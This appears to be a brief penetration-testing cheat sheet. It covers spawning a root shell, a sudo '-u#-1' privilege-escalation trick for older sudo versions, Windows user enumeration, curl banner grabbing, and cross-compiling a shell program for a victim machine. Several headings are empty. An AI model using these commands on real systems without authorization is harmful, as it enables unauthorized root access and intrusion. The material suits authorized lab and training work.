Tips & Tricks
Spawn root shell
sudo -s
# Can't execute /bin/bash?
# Older version of sudo are vulnerable to this priv esc method:
sudo -u#-1 /bin/bashNo "whoami" on Windows?
echo %username%
set
# if the above do not work, you may transfer Kali's 'whoami.exe'to victim machineBanner Grab a website
curl -s -I IP_ADDRESSMingw C compiler for windows
x86_64-w64-mingw32-gcc shell.c -o shell.exe <--for 64 bit
i686-w64-mingw32-gcc shell.c -o shell.exe <--for 32 bitwinexe
Grep for deleted files
Ping sweep Windows
Last updated